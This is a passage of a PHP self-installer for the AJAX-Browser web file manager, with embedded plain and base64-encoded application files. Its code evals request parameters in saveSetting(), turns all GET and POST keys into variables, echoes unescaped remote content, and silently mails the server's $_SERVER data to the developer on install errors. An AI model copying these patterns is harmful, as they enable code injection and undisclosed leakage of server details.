				file_put_contents($file_blacklist, var_export($GLOBALS['AJAX-Var']['blacklist'], true));
				$wrong = true;
			}
		?>
		<html>
			<head>
				<meta content="text/html; charset=UTF-8" http-equiv="content-type">
				<title><?php echo $ABS[1];?></title>
			</head>
			<style type="text/css">
				html, body, table { position: absolute;width:100%;height:100%;padding:0px;margin:0px;overflow:none;}
				body {font-size:10px;}
				input, span {width:120px;}
				td, tr {vertical-align:middle;text-align:center;}
				div {position:relative;margin-left: auto;margin-right:auto;background-color:rgb(220,230,255);padding:2px 10px;width:250px;-moz-border-radius:8px;font-weight:bold;border:1px solid gray;}
				h1 {text-align:center;color:red;}
				.red {color:red;}
				.logo {position:absolute;top:-40px;left:-40px;}
			</style>
<script type="text/javascript">
ptr = document.body;
function vibre (nbr)
{
	
	for (var i = 0; i < 2*nbr; i++)
	{
		window.setTimeout("ptr = document.body;ptr.style.marginRight=0; ptr.style.marginLeft=-30;", i*100);
		window.setTimeout("ptr = document.body;ptr.style.marginRight=-30; ptr.style.marginLeft=0;", i*100+50);
	}
	window.setTimeout("ptr = document.body;ptr.style.marginRight=0; ptr.style.marginLeft=0;", i*200+75);
}
</script>
			<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Dom-drag.js"></script>
			<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Dom-event.js"></script>
			<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Common.js"></script>
			<body onLoad="document.getElementById('JSError').style.display='none';document.getElementById('login').focus();<?php if (!empty($login)) echo 'vibre (6)';?>">
			<form method="post" action="?">
			<h1 id="JSError"><?php echo $ABS[38];?></h1>
				<table >
				<tr>
					<td>
						<div><img class="logo" src="http://ajaxbrowser.free.fr/logo.png">
							<p><span class="<?php if (!isset($GLOBALS['AJAX-Var']['accounts'][$login]) && isset($login)) echo 'red';?>"><?php echo $ABS[5];?> : </span><input type="text" id="login" name="login" value="<?php echo $login?$login:"anonymous"; ?>"></p>
							<p><span class="<?php if (!isset($GLOBALS['AJAX-Var']['accounts'][$login]) && isset($login)) echo 'red';?>"><?php echo $ABS[6];?> : </span><input type="password" name="code"></p>
							<p><input type="submit" name="mode" value="arborescence" title="<?php echo $ABS[12];?>"><input type="submit" name="mode" value="gallerie" title="<?php echo $ABS[13];?>"></p>
							<a href="http://ajaxbrowser.free.fr/"><?php echo $ABS[301];?></a>
						</div>
					</td>
				<tr>
				</table>
			</form>
			</body>
		</html>
		<?php
		exit();
		}
	}
?>',
  './AJAX-B/scripts/Setting.php' => '<?php
function editSetting ()
{
global $ABS;
?>
<table style="width:400px;margin:3px;margin-right:15px;">
	<tr>
	<tr><td class="border center large" colspan="2"><?php echo $ABS[501].' : '.VERSION;?></td></tr>
		<td class="border"><?php echo $ABS[502];?><br/>
			<input class="border w1" type='text' name='admin_email' value="<?php echo $GLOBALS['AJAX-Var']['global']['admin_email']; ?>"/><?php echo $ABS[503];?>
		</td>
		<td class="border"><?php echo $ABS[504];?><br/>
			<input class="border w1" type='text' name='ajaxb_miror' ondblclick="this.value='ajaxbrowser.free.fr';" value="<?php echo $GLOBALS['AJAX-Var']['global']['ajaxb_miror']; ?>"/><?php echo $ABS[505];?>
		</td>
	</tr>
	<tr><td class="border center" colspan="2">
<?php
if (!empty($_SESSION['AJAX-B']['ajaxb_miror']))
{
	list($V1, $V2, $V3, $V4) = sscanf(VERSION,'%d.%d.%d%s');
	$NewVersion = @file_get_contents ('http://'.$_SESSION['AJAX-B']['ajaxb_miror'].REPOSITORY_FOLDER.'LastVersion.php?version');
	list($v1, $v2, $v3, $v4) = sscanf($NewVersion, '%d.%d.%d%s');
	if (!$NewVersion) echo $ABS[506];
	elseif ($v1*1000+$v2*100+$v3 > $V1*1000+$V2*100+$V3)
		echo '<a href="?mode=request&maj">'.$ABS[508].' : '.$NewVersion.'</a>'.@file_get_contents ('http://'.$_SESSION['AJAX-B']['ajaxb_miror'].REPOSITORY_FOLDER.'LastVersion.php?addons');
	else echo $ABS[507];
}
?>
	</td></tr>
	<tr><td colspan="2"><br/></td></tr>
	<tr>
		<td colspan="2"><?php echo $ABS[509];?><br/>
			<INPUT class="w3" name="always_mask" id="always_mask" type="text" ondblclick="this.value='*.html,*.png,*.jpg,*.txt';" value="<?php echo implode(',', $GLOBALS['AJAX-Var']['global']['always_mask']);?>">
		</td>
	</tr>
	<tr>
		<td colspan="2"><?php echo $ABS[510];?><br/>
			<INPUT class="w3" name="restrict_mask" id="restrict_mask" type="text" ondblclick="this.value='*.php,*.php5,*.asp,*.bin,*.exe';" value="<?php echo implode(',',$GLOBALS['AJAX-Var']['global']['restrict_mask']);?>">
		</td>
	</tr>
	<tr>
		<td colspan="2"><?php echo $ABS[511];?><br/>
			<INPUT class="w3" name="codepress_mask" id="codepress_mask" type="text" ondblclick="this.value='*.html,*.txt,*.php,*.php5,*.asp,*.*~';" value="<?php echo implode(',',$GLOBALS['AJAX-Var']['global']['codepress_mask']);?>">
		</td>
	</tr>
	<tr><td colspan="2"><br/></td></tr>
	<tr>
		<td class="border" title=""><?php echo $ABS[512];?><br/><br/>
			<INPUT class="w1" type='text' ondblclick="this.value=base64.decode(racine64);" title="<?php echo $ABS[500];?>" name="spy_dir" VALUE="<?php echo $GLOBALS['AJAX-Var']['global']['spy_dir']; ?>"/><br/>
		</td>
		<td class="border"><?php echo $ABS[513];?><br/>
		<input name="ip" id="ip" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['global']['spy']['ip']?'checked':'');?>>
			<label for="ip" title="<?php echo $ABS[519];?>"><?php echo $ABS[514];?></label><br/>
		<input name="log" id="log" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['global']['spy']['log']?'checked':'');?>>
			<label for="log"><?php echo $ABS[515];?></label><br/>
		<input name="action" id="action" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['global']['spy']['action']?'checked':'');?>>
			<label for="action" title="<?php echo $ABS[518];?>"><?php echo $ABS[516];?></label><br/>
		<input name="browse" id="browse" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['global']['spy']['browse']?'checked':'');?>>
			<label for="browse" title="<?php echo $ABS[518];?>"><?php echo $ABS[517];?></label><br/>
	</td></tr>
	<tr><td colspan="2"><br/></td></tr>
	<tr>
		<td title="" class="border"><?php echo $ABS[520];?><br/>
			<INPUT class="w1" type='text' ondblclick="this.value=base64.decode(racine64);" title="<?php echo $ABS[500];?>" name="mini_dir" VALUE="<?php echo $GLOBALS['AJAX-Var']['global']['mini_dir']; ?>"/>
		<td title=""><span id="erasemini" class="button center" onclick="RQT.get(ServActPage,{parameters:'mode=request&erasemini=',onEnd:'ID(\'erasemini\').parentNode.innerHTML=request.responseText;',});"><?php echo $ABS[527];?></span></td>
	</tr>
	<tr>
		<td title="" colspan="2" class="border"><?php echo $ABS[520];?><br/>
			<br/><?php echo $ABS[521];?><br/>
			<INPUT type=radio name="mini_intervale" value=10 id="intervale10" <?php echo ($GLOBALS['AJAX-Var']['global']['mini_intervale']==10) ? "checked" : ""; ?>>
				<label for="intervale10"><?php echo $ABS[522];?></label><br/>
			<INPUT type=radio name="mini_intervale" value=100 id="intervale100" <?php echo ($GLOBALS['AJAX-Var']['global']['mini_intervale']==100) ? "checked" : ""; ?>>
				<label for="intervale100"><?php echo $ABS[523];?></label><br/>
			<INPUT type=radio name="mini_intervale" value=250 id="intervale250" <?php echo ($GLOBALS['AJAX-Var']['global']['mini_intervale']==250) ? "checked" : ""; ?>>
				<label for="intervale250"><?php echo $ABS[524];?></label><br/>
			<INPUT type=radio name="mini_intervale" value=500 id="intervale500" <?php echo ($GLOBALS['AJAX-Var']['global']['mini_intervale']==500) ? "checked" : ""; ?>>
				<label for="intervale500"><?php echo $ABS[525];?></label><br/>
			<INPUT type=radio name="mini_intervale" value=1500 id="intervale1500" <?php echo ($GLOBALS['AJAX-Var']['global']['mini_intervale']==1500) ? "checked" : ""; ?>>
				<label for="intervale1500"><?php echo $ABS[526];?></label><br/>
		</td>
	</tr>
	<tr><td colspan="2"><br/></td></tr>
	<tr>
		<td class="button center" style="width:50%;" onclick="PopBox('mode=request&accounts=','OpenBox(request.responseText);')"><?php echo $ABS[4];?></td>
		<td class="button center" style="width:50%;" onclick="form=document.forms[0];PopBox('mode=request&setting=save'+
'&admin_email='+base64.encode(form.admin_email.value)+ '&mini_intervale='+getCheckedRadio(form.mini_intervale)+ '&ajaxb_miror='+form.ajaxb_miror.value+ '&mini_dir='+base64.encode(form.mini_dir.value)+ '&spy_dir='+base64.encode(form.spy_dir.value)+ '&ip='+form.ip.checked+ '&log='+form.log.checked+ '&action='+form.action.checked+ '&browse='+form.browse.checked+ '&always_mask='+base64.encode(form.always_mask.value)+ '&restrict_mask='+base64.encode(form.restrict_mask.value)+ '&codepress_mask='+base64.encode(form.codepress_mask.value), 'ID(\'Box\').style.display=\'none\'')"><?php echo $ABS[10];?></td>
	</tr>
</table>
<?php
}
function saveSetting ()
{
	global $admin_email, $ajaxb_miror, $restrict_mask, $always_mask, $codepress_mask, $mini_dir, $spy_dir, $ip, $log, $action, $browse, $mini_intervale,$UnBlackListed, $file_globalconf;
	$GLOBALS['AJAX-Var']['global'] = array
	(
		'admin_email' => decode64($admin_email),
		'ajaxb_miror' => $ajaxb_miror,
		'restrict_mask' => explode(',', decode64($restrict_mask)),
		'always_mask' => explode(',', decode64($always_mask)),
		'codepress_mask' => explode(',', decode64($codepress_mask)),
		'mini_dir' => UnRealPath(decode64($mini_dir)),
		'mini_intervale' => eval('return '.$mini_intervale.';'),
		'spy_dir' => UnRealPath(decode64($spy_dir)),
		'spy' => array (
			'ip' => eval('return '.$ip.';'),
			'log' => eval('return '.$log.';'),
			'action' => eval('return '.$action.';'),
			'browse' => eval('return '.$browse.';')
			),
	);
	file_put_contents($file_globalconf, var_export($GLOBALS['AJAX-Var']['global'], true));
	$_SESSION['AJAX-B'] = array_merge(
		array('login' => $_SESSION['AJAX-B']['login']),
		$GLOBALS['AJAX-Var']['global'],
		$GLOBALS['AJAX-Var']['accounts'][$_SESSION['AJAX-B']['login']]);
	unset ($_SESSION['AJAX-B']['code']);
}
?>',
  './AJAX-B/scripts/UrlTools.php' => 'PD9waHAKLyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBBSkFYLUJyb3dzZXIgIC0gIGJ5IEFsYmFuIExPUEVaCiB8IENvcHlyaWdodCAoYykgMjAwNyBBbGJhbiBMT1BFWgogfCBFbWFpbCBidWdzL3N1Z2dlc3Rpb25zIHRvIGFsYmFuLmxvcGV6QGdtYWlsLmNvbQogKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiB8IFRoaXMgc2NyaXB0IGhhcyBiZWVuIGNyZWF0ZWQgYW5kIHJlbGVhc2VkIHVuZGVyCiB8IHRoZSBHTlUgR1BMIGFuZCBpcyBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlCiB8IG9ubHkgaWYgdGhpcyBjb3B5cmlnaHQgc3RhdGVtZW50IGlzIG5vdCByZW1vdmVkCiArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLwoKaWYgKCFlbXB0eSgkX1NFU1NJT05bJ0FKQVgtQiddWydkZWZfcmFjaW5lJ10pICYmICFpc19kaXIoJF9TRVNTSU9OWydBSkFYLUInXVsnZGVmX3JhY2luZSddKSkKCW1rZGlyICgkX1NFU1NJT05bJ0FKQVgtQiddWydkZWZfcmFjaW5lJ10sIDA3NzcsIHRydWUpOwppZiAoIWVtcHR5KCRfU0VTU0lPTlsnQUpBWC1CJ11bJ3NweV9kaXInXSkgJiYgIWlzX2RpcigkX1NFU1NJT05bJ0FKQVgtQiddWydzcHlfZGlyJ10pKQoJbWtkaXIgKCRfU0VTU0lPTlsnQUpBWC1CJ11bJ3NweV9kaXInXSwgMDc3NywgdHJ1ZSk7CmlmICghZW1wdHkoJF9TRVNTSU9OWydBSkFYLUInXVsnbWluaV9kaXInXSkgJiYgIWlzX2RpcigkX1NFU1NJT05bJ0FKQVgtQiddWydtaW5pX2RpciddKSkKCW1rZGlyICgkX1NFU1NJT05bJ0FKQVgtQiddWydtaW5pX2RpciddLCAwNzc3LCB0cnVlKTsKCQoJaWYgKHN0cnBvcygkbW9kZSwncmVxdWVzdCcpPT09ZmFsc2UpCgl7CgkJJHJlbG9hZD1mYWxzZTsKCQlpZiAoIWVtcHR5KCRyYWNpbmUpICYmIGlzX2RpcigkcmFjaW5lKSkKCQl7IC8vIHNpIHVuZSByYWNpbmUgZXQgZGVmaW5pIGVuIGNsYWlyIGRhbnMgbCdVUkwgZXggOiB3d3cuc2l0ZS5jb20vQUpBWC1Ccm93c2VyLnBocD9yYWNpbmU9Li8KCQkJJEVycnJvck1zZyAuPSBfX0ZJTEVfXy4iXG4iLidQcm9ibGVtIG9uIGxpbmUgJy4oX19MSU5FX18gLSAyKS4iXG4iOwoJCQkkcmFjaW5lNjQ9ZW5jb2RlNjQoJHJhY2luZSk7CgkJCSRyZWxvYWQ9dHJ1ZTsKCQl9CgkJaWYgKGVtcHR5KCRyYWNpbmU2NCkgfHwgIWZpbGVfZXhpc3RzKGRlY29kZTY0KCRyYWNpbmU2NCkpKQoJCXsgLy8gc2kgbCdVUkwgbidlc3QgcGFzIHVuZSBVUkwgdmFsaWRlCgkJCSRFcnJyb3JNc2cgLj0gIlxuIi5fX0ZJTEVfXy4iXG4iLidQcm9ibGVtIG9uIGxpbmUgJy4oX19MSU5FX18gLSAyKS4iXG4iOwoJCQkkcmFjaW5lNjQgPSBlbXB0eSgkX1NFU1NJT05bJ0FKQVgtQiddWydkZWZfcmFjaW5lJ10pP2VuY29kZTY0KCcuLycpOmVuY29kZTY0KCRfU0VTU0lPTlsnQUpBWC1CJ11bJ2RlZl9yYWNpbmUnXSk7CgkJCSRyZWxvYWQ9dHJ1ZTsKCQl9CgkJaWYgKHN1YnN0cihkZWNvZGU2NCgkcmFjaW5lNjQpLCAtMSwgMSkhPScvJykKCQl7IC8vIHNpIGwnVVJMIG5lIHNlIHRlcm1pbmUgcGFzIHBhciB1biAvCgkJCSRFcnJyb3JNc2cgLj0gIlxuIi5fX0ZJTEVfXy4iXG4iLidQcm9ibGVtIG9uIGxpbmUgJy4oX19MSU5FX18gLSAyKS4iXG4iOwoJCQkkcmFjaW5lNjQgPSBlbmNvZGU2NChkZWNvZGU2NCgkcmFjaW5lNjQpLicvJyk7CgkJCSRyZWxvYWQ9dHJ1ZTsKCQl9CgkJaWYgKGVuY29kZTY0KGRlY29kZTY0KCRyYWNpbmU2NCkpIT0kcmFjaW5lNjQpCgkJewoJCQkkRXJycm9yTXNnIC49ICJcbiIuX19GSUxFX18uIlxuIi4nUHJvYmxlbSBvbiBsaW5lICcuKF9fTElORV9fIC0gMikuIlxuIjsKCQkJJHJhY2luZTY0ID0gZW1wdHkoJF9TRVNTSU9OWydBSkFYLUInXVsnZGVmX3JhY2luZSddKT9lbmNvZGU2NCgnLi8nKTplbmNvZGU2NCgkX1NFU1NJT05bJ0FKQVgtQiddWydkZWZfcmFjaW5lJ10pOwoJCQkkcmVsb2FkPXRydWU7CgkJfQoJCWlmICghZW1wdHkoJF9TRVNTSU9OWydBSkFYLUInXVsnZGVmX3JhY2luZSddKSAmJiAhJF9TRVNTSU9OWydBSkFYLUInXVsnZHJvaXRzJ11bJy4uVklFVyddICYmIHN0cnBvcyhyZWFscGF0aChkZWNvZGU2NCgkcmFjaW5lNjQpKSwgcmVhbHBhdGgoJF9TRVNTSU9OWydBSkFYLUInXVsnZGVmX3JhY2luZSddKSk9PT1mYWxzZSB8fCBpc19saW5rKGRlY29kZTY0KCRyYWNpbmU2NCkpKQoJCXsgLy8gc2kgbCd1dGlsaXNhdGV1ciByZW1vbnRlIGwnYXJib3Jlc2NlbmNlIGFsb3JzIHF1J2lsIG4nZW4gYSBwYXMgbGUgZHJvaXQKCQkJJEVycnJvck1zZyAuPSAiXG4iLl9fRklMRV9fLiJcbiIuJ1Byb2JsZW0gb24gbGluZSAnLihfX0xJTkVfXyAtIDIpLiJcbiI7CgkJCSRyYWNpbmU2NCA9IGVuY29kZTY0KCRfU0VTU0lPTlsnQUpBWC1CJ11bJ2RlZl9yYWNpbmUnXSk7CgkJCSRyZWxvYWQ9dHJ1ZTsKCQl9CgkJaWYgKGVtcHR5KCRtb2RlKSkKCQl7CgkJCSRFcnJyb3JNc2cgLj0gIlxuIi5fX0ZJTEVfXy4iXG4iLidQcm9ibGVtIG9uIGxpbmUgJy4oX19MSU5FX18gLSAyKS4iXG4iOwoJCQkkbW9kZSA9IGVtcHR5KCRfU0VTU0lPTlsnQUpBWC1CJ11bJ2RlZl9tb2RlJ10pPydhcmJvcmVzY2VuY2UnOiRfU0VTU0lPTlsnQUpBWC1CJ11bJ2RlZl9tb2RlJ107CgkJCSRyZWxvYWQ9dHJ1ZTsKCQl9CgkJaWYgKGVuY29kZTY0KFVuUmVhbFBhdGgoZGVjb2RlNjQoJHJhY2luZTY0KSkpIT0kcmFjaW5lNjQpCgkJewoJCQkkRXJycm9yTXNnIC49ICJcbiIuX19GSUxFX18uIlxuIi4nUHJvYmxlbSBvbiBsaW5lICcuKF9fTElORV9fIC0gMikuIlxuIjsKCQkJJHJhY2luZTY0ID0gZW5jb2RlNjQoVW5SZWFsUGF0aChkZWNvZGU2NCgkcmFjaW5lNjQpKSk7CgkJCSRyZWxvYWQ9dHJ1ZTsKCQl9CgkJaWYgKCgkcmVsb2FkPT10cnVlIHx8IGlzc2V0KCRjb2RlKSkpCgkJewoJCQlpZiAoaXNzZXQoJGRiKSkJZmlsZV9wdXRfY29udGVudHMoJy4vRGVidWcudHh0JywgIjwhLS1cbkVycm9ycyByZXN1bWUgOlxuIi4kRXJycm9yTXNnLlJlYnVpbGRVUkwgKCkuIlxuLS0+IixGSUxFX0FQUEVORCk7CgkJCWhlYWRlcigiTG9jYXRpb246Ii5SZWJ1aWxkVVJMICgpKTsKCQkJZXhpdCAoKTsKCQl9Cgl9CmZ1bmN0aW9uIFJlYnVpbGRVUkwgKCkKewoJZ2xvYmFsICRsb2dpbiwgJG1vZGUsICRyYWNpbmU2NCwgJGllLCAkZGIsICRtYXRjaDsKCXJldHVybiAnP21vZGU9Jy4kbW9kZS4nJnJhY2luZTY0PScuJHJhY2luZTY0LicmbWF0Y2g9Jy4oaXNzZXQoJG1hdGNoKT8kbWF0Y2g6JyonKS4oaXNzZXQoJGllKT8nJmllJzonJykuKGlzc2V0KCRkYik/JyZkYic6JycpOwp9Cj8+',
  './AJAX-Browser.php' => 'PD9waHAKLyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBBSkFYLUJyb3dzZXIgIC0gIGJ5IEFsYmFuIExPUEVaCiB8IENvcHlyaWdodCAoYykgMjAwNyBBbGJhbiBMT1BFWgogfCBFbWFpbCBidWdzL3N1Z2dlc3Rpb25zIHRvIGFsYmFuLmxvcGV6QGdtYWlsLmNvbQogKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiB8IFRoaXMgc2NyaXB0IGhhcyBiZWVuIGNyZWF0ZWQgYW5kIHJlbGVhc2VkIHVuZGVyCiB8IHRoZSBHTlUgR1BMIGFuZCBpcyBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlCiB8IG9ubHkgaWYgdGhpcyBjb3B5cmlnaHQgc3RhdGVtZW50IGlzIG5vdCByZW1vdmVkCiArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLwoKZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbCkKCSR7JGtleX09JHZhbDsKZm9yZWFjaCgkX0dFVCBhcyAka2V5PT4kdmFsKQoJJHska2V5fT0kdmFsOwoKZGVmaW5lKCJJTlNUQUxfRElSIiwgIi4vQUpBWC1CLyIpOwpkZWZpbmUoIlZFUlNJT04iLCAiMS4wLjA1My1Qcm9fRWRpdEFyZWEiKTsKZGVmaW5lKCJSRVBPU0lUT1JZX0ZPTERFUiIsICIvQUpBWC1CX1Byby8iKTsKCnJlcXVpcmUgKElOU1RBTF9ESVIgLiAnc2NyaXB0cy9QSFBUb29scy5waHAnKTsKcmVxdWlyZSAoSU5TVEFMX0RJUiAuICdzY3JpcHRzL0V4cGxvcmVUb29scy5waHAnKTsKCXJlcXVpcmUgKElOU1RBTF9ESVIgLiAnTGFuZ3VhZ2UgZW4ucGhwJyk7CnJlcXVpcmUgKElOU1RBTF9ESVIgLiAnc2NyaXB0cy9TZXNzaW9uVG9vbHMucGhwJyk7CnJlcXVpcmUgKElOU1RBTF9ESVIgLiAnc2NyaXB0cy9VcmxUb29scy5waHAnKTsKCmlmIChpc3NldCgkX1NFU1NJT05bJ0FKQVgtQiddWydsYW5ndWFnZV9maWxlJ10pICYmIGlzX2ZpbGUoSU5TVEFMX0RJUiAuICRfU0VTU0lPTlsnQUpBWC1CJ11bJ2xhbmd1YWdlX2ZpbGUnXSkpCglyZXF1aXJlIChJTlNUQUxfRElSIC4gJF9TRVNTSU9OWydBSkFYLUInXVsnbGFuZ3VhZ2VfZmlsZSddKTsKCiRTdGFydFBocFNjcmlwdGUgPSBtaWNyb3RpbWVfZmxvYXQoKTsKCmlmIChzdHJwb3MoJG1vZGUsJ3JlcXVlc3QnKSE9PWZhbHNlKQp7CglyZXF1aXJlIChJTlNUQUxfRElSIC4gJ3NjcmlwdHMvQ29tbWFuZC5waHAnKTsKCWV4aXQoKTsKfQplbHNlCnsKCWlmIChzdHJwb3MoJG1vZGUsJ2dhbGxlcmllJykhPT1mYWxzZSkKCXsKCQkkQ2hhbmdlTW9kZT1hcnJheSgnY3VycmVudCc9PidnYWxsZXJpZScsJ25leHQnPT4nYXJib3Jlc2NlbmNlJywgJ2NoYW5nZSc9PiRBQlNbMTJdKTsKCQlyZXF1aXJlIChJTlNUQUxfRElSIC4gJ3NjcmlwdHMvSW5pdEhUTUwucGhwJyk7CgkJcmVxdWlyZSAoSU5TVEFMX0RJUiAuICdzY3JpcHRzL0dhbGxlcmllQWRkb24ucGhwJyk7CgkJcmVxdWlyZSAoSU5TVEFMX0RJUiAuICdzY3JpcHRzL0dhbGxlcmllLnBocCcpOwoJfQoJZWxzZWlmIChzdHJwb3MoJG1vZGUsJ2FyYm9yZXNjZW5jZScpIT09ZmFsc2UpCgl7CgkJJENoYW5nZU1vZGU9YXJyYXkoJ2N1cnJlbnQnPT4nYXJib3Jlc2NlbmNlJywnbmV4dCc9PidnYWxsZXJpZScsICdjaGFuZ2UnPT4kQUJTWzEzXSk7CgkJcmVxdWlyZSAoSU5TVEFMX0RJUiAuICdzY3JpcHRzL0luaXRIVE1MLnBocCcpOwoJCXJlcXVpcmUgKElOU1RBTF9ESVIgLiAnc2NyaXB0cy9BcmJvcmVzY2VuY2VBZGRvbi5waHAnKTsKCQlyZXF1aXJlIChJTlNUQUxfRElSIC4gJ3NjcmlwdHMvQXJib3Jlc2NlbmNlLnBocCcpOwoJfQoJZWxzZSBleGl0ICgpOwoJcmVxdWlyZSAoSU5TVEFMX0RJUiAuICdzY3JpcHRzL0Nsb3NlSFRNTC5waHAnKTsKfQppZiAoaXNfZmlsZSgnLi9NYWtlSW5zdGFsbENsYXNzLnBocCcpKQp7Pz4KPGEgY2xhc3M9ImJvdHRvbWxlZnQiIGhyZWY9Ii4vTWFrZUluc3RhbGxDbGFzcy5waHA/dmVyc2lvbj08PyBlY2hvIFZFUlNJT047Pz4iPk5ld1NhdmUgVjw/ZWNobyBWRVJTSU9OOz8+PC9hPgo8YSBjbGFzcz0iYm90dG9tbGVmdCIgaHJlZj0iaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9hbmFseXRpY3MvaG9tZS8/aGw9ZnIiPnN0YXQgZ29vZ2xlPC9hPgo8P3BocCB9ID8+',
);
	$errors = array();
	echo "Intalling : $projetName Version : $version <br/>\n";
		echo "<b>Add the following page to bookmarks, go to <a href=\"AJAX-Browser.php\">AJAX-Browser</a></b><br/><br/>\n";
	$useful = array (
  'functions' =>
  array (
    'rmdir' => '%this% is not aviable on this serveur, it is not possible to remove empty folder.<br/>',
    'unlink' => '%this% is not aviable on this serveur, it is not possible to remove file.<br/>',
    'zip_open' => '%this% is not aviable on this serveur, it is not possible to extract *.zip file.<br/>',
    'copy' => '%this% is not aviable on this serveur, it is not possible to copy file and folder.<br/>',
    'rename' => '%this% is not aviable on this serveur, it is not possible to rename or move file and folder.<br/>',
    'imagepng' => '%this% is not aviable on this serveur, it is not possible to view mini picture.<br/>',
    'filesize' => '%this% is not aviable on this serveur, it is not possible to know file and folder size.<br/>',
    'posix_getpwuid' => '%this% is not aviable on this serveur, it is not possible to know owner and group.<br/>',
    'mime_content_type' => '%this% is not aviable on this serveur, it is not possible to know real file type.<br/>',
    'filemtime' => '%this% is not aviable on this serveur, it is not possible to know the last change time.<br/>',
    'fileperms' => '%this% is not aviable on this serveur, it is not possible to know file and folder permissions.<br/>',
  ),
  'modules' =>
  array (
    'gd' => '%this% is not instaled on this serveur, it is not possible view thumbnail.<br/>',
    'bz' => '%this% is not instaled on this serveur, it is not possible to manage *.bzip2.<br/>',
    'zlib' => '%this% is not instaled on this serveur, it is not possible to manage *.zip and *.gzip.<br/>',
  ),
);
	$required = array (
  'functions' =>
  array (
    'session_start' => '%this% is not aviable on this serveur, it is not possible to login in session.<br/>',
    'opendir' => '%this% is not aviable on this serveur, it is not possible to open and read folder.<br/>',
    'ereg' => '%this% is not aviable on this serveur, it is not possible to install !<br/>',
    'md5' => '%this% is not aviable on this serveur, it is not possible to manage password!<br/>',
    'mkdir' => '%this% is not aviable on this serveur, it is not possible to make a folder (and install) !<br/>',
    'fopen' => '%this% is not avaible on this serveur, it is not possible to make a folder (and install) !<br/>',
    'fwrite' => '%this% is not avaible on this serveur, it is not possible to install !<br/>',
  ),
  'modules' =>
  array (
    'session' => '%this% is not instaled on this serveur, it is not possible to open session!.<br/>',
  ),
);
	foreach ($useful['functions'] as $key => $message)
	{
		if (!function_exists($key))
			$warning[] = str_replace('%this%', $key, $message);
	}
	foreach ($required['functions'] as $key => $message)
	{
		if (!function_exists($key))
			$errors[] = str_replace('%this%', $key, $message);
	}
	$modules = get_loaded_extensions();
	foreach ($useful['modules'] as $key => $message)
	{
		if (!in_array($key, $modules))
			$warning[] = str_replace('%this%', $key, $message);
	}
	foreach ($required['modules'] as $key => $message)
	{
		if (!in_array($key, $modules))
			$errors[] = str_replace('%this%', $key, $message);
	}
	if (version_compare(phpversion(), '5.0.0')==-1)
		$errors[] = 'You have '.phpversion().' but PHP V5.0.0 or later is required<br/>
Add a <b>.htaccess<b> file in this folder with a line like that<br/>
* FAI = free : <b>php 1</b><br/>
* FAI = 1and1 : <b>AddType x-mapp-php5 .php</b><br/>
* FAI = OVH : <b>SetEnv PHP_VER 5</b><br/>';
	if (empty($errors))
	{
		foreach ($lst64 as $thisFileName => $data)
		{
			if (!file_exists($thisFileName) || toBeReplaced($thisFileName))
			{
				$newDir='';
				if (!is_dir(dirname($thisFileName)))
				{
					foreach(explode('/',dirname($thisFileName)) as $dirPart)
						if (!empty($dirPart) && !is_dir($newDir=$newDir.$dirPart.'/')) mkdir($newDir);
					if (!is_dir(dirname($thisFileName)))  $errors[] = "impossible de creer le dossier : ".dirname($thisFileName)."<br>\n";
				}
				if ($handle = fopen($thisFileName, 'w'))
				{
					if (fwrite($handle, base64_decode($data))!==false)
					{
						echo "OK => $thisFileName<br/>\n";
					}
					else echo ($errors[] = 'Impossible d\'ecrire dans '.$thisFileName."<br>\n");
					fclose($handle);
				}
				else echo ($errors[] = 'Impossible de creer '.$thisFileName."<br>\n");
			}
			else
			{
				echo "SKIP => $thisFileName<br/>\n";
			}
		}
	}
	else
		echo "<H2><b>Intall Aborted !</b></H2>";
	if (!empty($errors))
	{
		echo "<pre>";
		if (!empty($warning))
		{
			echo "<H2><b>WARNING !</b></H2>Install warning list :\n";
		var_export($warning);
		}

		echo "<H2><b>ERROR !</b></H2>Install errors list :\n";
		var_export($errors);
		@mail("alban.lopez@gmail.com", "New install on : $projetName $version", $_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])."/AJAX-Browser.php\n".var_export($_SERVER,true)."\n\nWARNING !\n\n".var_export($warning,true)."\n\nERROR !\n\n".var_export($errors,true));
		echo "</pre>";
	}
	else
	{
		echo '<H2><b>Install SUCCESSFULL</b></H2>
<form class="don_link" action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_xclick">
<input type="hidden" name="business" value="alban.lopez@gmail.com">
<input type="hidden" name="item_name" value="Don AJAX-Browser">
<input type="hidden" name="no_shipping" value="1">
<input type="hidden" name="return" value="http://ajaxbrowser.free.fr/">
<input type="hidden" name="currency_code" value="EUR">
<input type="hidden" name="tax" value="0">
<input type="hidden" name="lc" value="FR">
<input type="hidden" name="bn" value="PP-DonationsBF">
<input type="image" src="https://www.paypal.com/fr_FR/i/btn/x-click-but04.gif" border="0" name="submit" alt="Effectuez vos paiements via PayPal : une solution rapide, gratuite et securisee">
<img alt="" border="0" src="https://www.paypal.com/fr_FR/i/scr/pixel.gif" width="1" height="1">
</form>';
